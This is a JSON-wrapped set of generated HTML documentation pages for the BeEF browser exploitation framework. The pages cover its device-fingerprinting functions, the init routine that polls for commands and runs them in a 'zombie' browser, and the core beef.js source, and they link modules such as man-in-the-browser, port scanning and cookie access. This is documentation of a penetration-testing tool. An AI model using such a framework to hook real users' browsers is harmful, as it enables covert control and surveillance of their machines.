class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line64\">line 64</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">String</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getGpuDetails\"><span class=\"type-signature\">(static) </span>getGpuDetails<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {object}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns GPU details</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line75\">line 75</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">object</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getMemory\"><span class=\"type-signature\">(static) </span>getMemory<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {String}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns RAM (GiB)</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line110\">line 110</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">String</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getScreenSize\"><span class=\"type-signature\">(static) </span>getScreenSize<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Object}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns zombie screen size and color depth.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line150\">line 150</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Object</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isEricsson\"><span class=\"type-signature\">(static) </span>isEricsson<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Is Ericsson?</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line227\">line 227</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true or false.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isGameConsole\"><span class=\"type-signature\">(static) </span>isGameConsole<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if the browser is on a game console</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line263\">line 263</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true or false</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isGoogle\"><span class=\"type-signature\">(static) </span>isGoogle<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Is Google?</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line243\">line 243</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true or false.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isHtc\"><span class=\"type-signature\">(static) </span>isHtc<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Is HTC?</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line219\">line 219</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true or false.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isLaptop\"><span class=\"type-signature\">(static) </span>isLaptop<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Is a Laptop?</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line190\">line 190</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true or false.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isMobileDevice\"><span class=\"type-signature\">(static) </span>isMobileDevice<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if the browser is on a Mobile device</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line253\">line 253</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true or false</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isMotorola\"><span class=\"type-signature\">(static) </span>isMotorola<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Is Motorola?</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line235\">line 235</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true or false.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isNokia\"><span class=\"type-signature\">(static) </span>isNokia<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Is Nokia?</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line203\">line 203</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true or false.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isTouchEnabled\"><span class=\"type-signature\">(static) </span>isTouchEnabled<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Is touch enabled?</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line162\">line 162</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true or false.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isVirtualMachine\"><span class=\"type-signature\">(static) </span>isVirtualMachine<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Is virtual machine?</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line171\">line 171</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true or false.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isZune\"><span class=\"type-signature\">(static) </span>isZune<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Boolean}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Is Zune?</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"hardware.js.html\">hardware.js</a>, <a href=\"hardware.js.html#line211\">line 211</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>true or false.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Boolean</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.init.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: init</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: init</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>init</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Contains the beef_init() method which starts the BeEF client-side\nlogic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.</p>\n<p>If beef.pageIsLoaded is true, then this JS has been loaded &gt;1 times\nand will have a new session id. The new session id will need to know\nthe brwoser details. So sendback the browser details again.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"init.js.html\">init.js</a>, <a href=\"init.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".beef_init\"><span class=\"type-signature\">(static) </span>beef_init<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Starts the polling mechanism, and initialize various components:</p>\n<ul>\n<li>browser details (see browser.js) are sent back to the &quot;/init&quot; handler</li>\n<li>the polling starts (checks for new commands, and execute them)</li>\n<li>the logger component is initialized (see logger.js)</li>\n<li>the Autorun Engine is initialized (see are.js)</li>\n</ul>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"init.js.html\">init.js</a>, <a href=\"init.js.html#line72\">line 72</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".window.onclose\"><span class=\"type-signature\">(static) </span>window.onclose<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"init.js.html\">init.js</a>, <a href=\"init.js.html#line49\">line 49</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".window.onload\"><span class=\"type-signature\">(static) </span>window.onload<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"init.js.html\">init.js</a>, <a href=\"init.js.html#line26\">line 26</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".window.onpopstate\"><span class=\"type-signature\">(static) </span>window.onpopstate<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"init.js.html\">init.js</a>, <a href=\"init.js.html#line32\">line 32</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: beef.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: beef.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*!\n * BeEF JS Library &lt;%= @beef_version %>\n * Register the BeEF JS on the window object.\n */\n\n$j = jQuery.noConflict();\n\nif(typeof beef === 'undefined' &amp;&amp; typeof window.beef === 'undefined') {\n\n    /**\n     * Register the BeEF JS on the window object.\n     * @namespace {Object} BeefJS \n     * @property {string} version BeEf Version\n     * @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write().\n     * @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method.\n     * @property {array} onclose An array containing functions to be executed by the window.onclose() method.\n     * @property {array} commands An array containing functions to be executed by Beef.\n     * @property {array} components An array containing all the BeEF JS components.\n     */\n\n    var BeefJS = {\n        \n        version: '&lt;%= @beef_version %>',\n        pageIsLoaded: false,\n        onpopstate: new Array(),\n        onclose: new Array(),\n        commands: new Array(),\n        components: new Array(),\n\n        /**\n         * Adds a function to display debug messages (wraps console.log())\n         * @param: {string} the debug string to return\n         */\n        debug: function(msg) {\n            isDebug = '&lt;%= @client_debug %>'\n            if (typeof console == \"object\" &amp;&amp; typeof console.log == \"function\" &amp;&amp; isDebug === 'true') {\n                var currentdate = new Date();\n                var pad = function(n){return (\"0\" + n).slice(-2);}\n                var datetime = currentdate.getFullYear() + \"-\"\n                + pad(currentdate.getMonth()+1)  + \"-\"\n                + pad(currentdate.getDate()) + \" \"\n                + pad(currentdate.getHours()) + \":\"\n                + pad(currentdate.getMinutes()) + \":\"\n                + pad(currentdate.getSeconds());\n                console.log('['+datetime+'] '+msg);\n            } else {\n                // TODO: maybe add a callback to BeEF server for debugging purposes\n                //window.alert(msg);\n            }\n        },\n\n        /**\n        * Adds a function to execute.\n        * @param: {Function} the function to execute.\n        */\n        execute: function(fn) {\n                if ( typeof  beef.websocket == \"undefined\"){\n                    this.commands.push(fn);\n                }else{\n                    fn();\n                }\n        },\n\n       /**\n        * Registers a component in BeEF JS.\n        * @params: {String} the component.\n        *\n        * Components are very important to register so the framework does not\n        * send them back over and over again.\n        */\n        regCmp: function(component) {\n                this.components.push(component);\n        }\n\n    };\n\n    window.beef = BeefJS;\n}\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a 